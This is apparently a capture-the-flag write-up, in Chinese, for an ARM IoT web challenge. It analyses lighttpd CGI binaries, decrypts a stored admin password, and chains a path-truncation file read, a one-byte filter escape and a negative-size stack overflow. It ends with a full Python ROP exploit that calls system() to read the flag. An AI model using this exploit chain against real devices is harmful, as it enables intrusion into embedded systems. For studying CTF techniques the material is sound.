题目分析

启动脚本只开放了一个 80 端口

1
2
3
4
5
6
7
8
9
sudo qemu-system-arm \
-M versatilepb \
-m 256 \
-kernel vmlinuz-3.2.0-4-versatile \
-initrd initrd.img-3.2.0-4-versatile \
-hda debian_wheezy_armel_standard.qcow2 \
-append "root=/dev/sda1 console=ttyAMA0" \
-net nic -net user,hostfwd=tcp::80-:80 \
-nographic

先挂载 qcow 文件,提取文件系统

1
2
3
4
5
6
7
8
9
10
11
12
13
# 加载网络块设备模块
sudo modprobe nbd max_part=8
# 连接 qcow2 镜像到 nbd 设备
sudo qemu-nbd -c /dev/nbd0 your_image.qcow2
# 查看分区信息
sudo fdisk -l /dev/nbd0
# 挂载分区
sudo mount /dev/nbd0p1 /mnt
# 访问文件系统内容
ls /mnt
# 卸载与断开
sudo umount /mnt
sudo qemu-nbd -d /dev/nbd0

启动后看到 lighttpd 进程,/var/www 是 web 服务的根目录

image-20251101182211026

image-20251101182214602

CGI 分析

先来分析下每个 cgi 的功能

auth.cgi

index 在登录的时候往 auth.cgi 发送 POST 请求

image-20251101182219628

先对 password 进行了加密,然后和/tmp/store/users.txt 文件中的密文进行对比

image-20251101182223887

1
2
root@debian-armel:/tmp/store# cat users.txt
admin:dlZ4bWFsdjUDaiYCeCUqfGYUEhBvFW97dmtxcA==

ai 写一个解密脚本,得到 admin 账号的密码是 8g323##a08h33zx33@!B!$$$$$$$

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3
import base64

# 从 users.txt 读取的密文
encrypted_password = "dlZ4bWFsdjUDaiYCeCUqfGYUEhBvFW97dmtxcA=="

# XOR 密钥 (从代码中的 aN1kRout3r 找到)
key = "N1K_ROUT3R"

# Step 1: Base64 解码
decoded = base64.b64decode(encrypted_password)
print(f"Base64 decoded bytes: {decoded.hex()}")
print(f"Length: {len(decoded)}")

# Step 2: XOR 解密
password = bytearray()
for i in range(len(decoded)):
# 使用循环密钥进行 XOR
xor_byte = decoded[i] ^ ord(key[i % len(key)])
password.append(xor_byte)

# 尝试解码为字符串
try:
decrypted_password = password.decode('ascii')
print(f"\nDecrypted password: {decrypted_password}")
except:
print(f"\nDecrypted password (hex): {password.hex()}")
print(f"Decrypted password (raw bytes): {bytes(password)}")

登录之后的后台界面

image-20251101182235151

upload.cgi

actions:

  • fake_upload:一个假的上传接口
  • download:根据 path 参数,读取文件内容,但限制了文件最后几个字节是 nik.gif 和黑白名单检测
  • upload_pubkey:根据 filecontent 的内容往/tmp/store/publicfile.txt 写入内容

manage.cgi

actions:

  • status/dashboard:无实际功能
  • viewconf:读/tmp/store/config.txt 文件的前 0x1000 字节
  • logs:读/tmp/store/logs.txt 文件的前 0x2000 字节
  • diag:限制 cmd==df
  • ping:限制 ip==127.0.0.1
  • speedtest:无实际功能
  • logout:无实际功能
  • id:读/tmp/store/id.txt 文件的前 0x100 字节
  • dump_payload:hex dump dword_13484 的内容
  • id_save:将 id_val 的值写入/tmp/store/id.txt 文件
  • set_publicfile:将/tmp/store/publicfile.txt 的内容十六进制转 bytes,过滤字符后,根据 cnt1 和 cnt2 将指定字节写入 dword_13484[cnt2]

watch

往/tmp/rootkey 文件里写随机字节

漏洞分析

root 功能的负数溢出+栈溢出

manage.cgi 当传入 rk 参数的时候,会调用 rook 功能的后门函数

image-20251101182247207

image-20251101182251909

功能将/tmp/store/id.txt 文件的内容,转换成整数,然后从 dword_13484 中拷贝 size 大小的数据到栈上。由于 size 是有符号比较,负数的时候可以绕过检查,拷贝一块巨大的内容到栈上。buf[(size ^ 0x13) & 1])实际上调用的还是 xor_decrypt_data,然后 size 作为 memcpy 参数进行拷贝。

image-20251101182324427

image-20251101182327793

image-20251101182331075

路径截断

upload.cgi 的 action=download 中,snprintf 只保存了 0x60 字节,之后的内容会被截断,所以我们可以构造././XXXXX./rootKeynik.gif 绕过检查,读取/tmp/rootkey

image-20251101182334226

字符逃逸

manage.cgi 的 set_publicfile 功能,会过滤/tmp/store/publicfile.txt 文件中的字符,然后根据 cnt1 和 cnt2 参数,向 dword_13484 中写入一个字节。

image-20251101182348221

在字符过滤功能中,当 v21 等于 80 的时候会不经过过滤直接拷贝到 v35[81],导致单字节逃逸。

image
image-20251101182357358

漏洞利用

整理一下利用思路:

  1. 解密 admin 密码后,调用 watch 创建 rootKey 文件
  2. 利用 upload_pubkey 和 set_publicfile 逐字节往 dword_13484 中写入 payload
    • manage.cgi 中将 dword_13484 映射到了共享内存,可以作为 cmd 参数的地址
  3. 执行 root_key 功能将 dword_13484 的数据写到栈上,劫持控制流,执行 cat /home/ctf/flag > /tmp/store/logs.txt
  4. 利用 logs 功能输出 flag 内容

由于题目没有随机化,所以不需要泄露,直接执行 system 把 flag 重定向到 logs.txt 然后通过 action=logs 读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwnkit import *
import requests
import binascii

args = init_pwn_args()
binary = ELF("./rootfs/usr/sbin/lighttpd")
args.info.binary = context.binary = binary
args.info.target = {"host": args.host or "127.0.0.1", "port": args.port or 80}

if not args.remote:
_host, _port = gift.dbgsrv.init()
host, port = "127.0.0.1", 80
pk.core.config.config_context_terminal()
else:
host, port = args.info.target["host"], args.info.target["port"]

""" >>> exploit goes here <<< """
# p = pwntube(args) if args.remote else remote(host, _port)

session = requests.Session()


def login(username, password):
url = f"http://{host}:{port}/cgi-bin/auth.cgi"
resp = session.post(url, data={"username": username, "password": password}, allow_redirects=False)
print(resp.cookies, resp.text)


def watch():
url = f"http://{host}:{port}/cgi-bin/watch"
resp = session.get(url)
print(resp.text)


def download(path):
# print(path)
url = f"http://{host}:{port}/cgi-bin/upload.cgi?action=download&path={path}"
resp = session.get(url)
print(resp.text)
return resp.text


def upload_pubkey(content):
url = f"http://{host}:{port}/cgi-bin/upload.cgi"
resp = session.post(url, data={"action": "upload_pubkey", "filecontent": content})
# print(resp.text)


def id_save(id_val):
url = f"http://{host}:{port}/cgi-bin/manage.cgi"
# print(url)
resp = session.post(url, data={"action": "id_save", "id_val": id_val})
print(resp.text)


def set_publicfile(cnt1, cnt2):
url = f"http://{host}:{port}/cgi-bin/manage.cgi"
# print(url)
resp = session.post(url, data={"action": "set_publicfile", "cnt1": cnt1, "cnt2": cnt2})
# print(resp.text)


def root_function(root_key):
url = f"http://{host}:{port}/cgi-bin/manage.cgi"
# print(url)
resp = session.post(url, data={"rk": root_key})
print(resp.text)


def logs():
url = f"http://{host}:{port}/cgi-bin/manage.cgi"
# print(url)
resp = session.post(url, data={"action": "logs"})
print(resp.text)


login("admin", "8g323##a08h33zx33@!B!$$$$$$$")
watch()
root_key = download("./././././././././././././././././././././././././././././././././././././././././/rootkeynik.gif")
assert root_key

libc_addr = 0xb6e8f000
pop_lr = libc_addr + 0x00015b24
pop_r0_lr = libc_addr + 0x0010c730
system = libc_addr + 0x38d34
shm_addr = 0xb6ffc000
payload = b"\x7f" + cyclic(0x23)
payload += p32(pop_r0_lr)
payload += p32(shm_addr + 0x24 + 0x4 * 3)
payload += p32(system)
payload += b"cat /home/ctf/flag > /tmp/store/logs.txt\x00"

for idx, val in enumerate(payload):
print(f"set {hex(idx)} -> {hex(val)[2:]}")
upload_pubkey("00" * 80 + hex(val)[2:])
set_publicfile(80, idx)

id_save("-1")
root_function(root_key)
# logs()

因为调用 root_key 之后,函数无法正常返回,reqests 会一直等待响应,所以需要单独 logs 函数,获取 flag

1
2
login("admin", "8g323##a08h33zx33@!B!$$$$$$$")
logs()

image-20251101182405897

Poor communication protocol

文章发布于看雪论坛:[原创]利用 AI 复现 2025 强网拟态初赛 2 解 IoT 题目:Poor communication protocol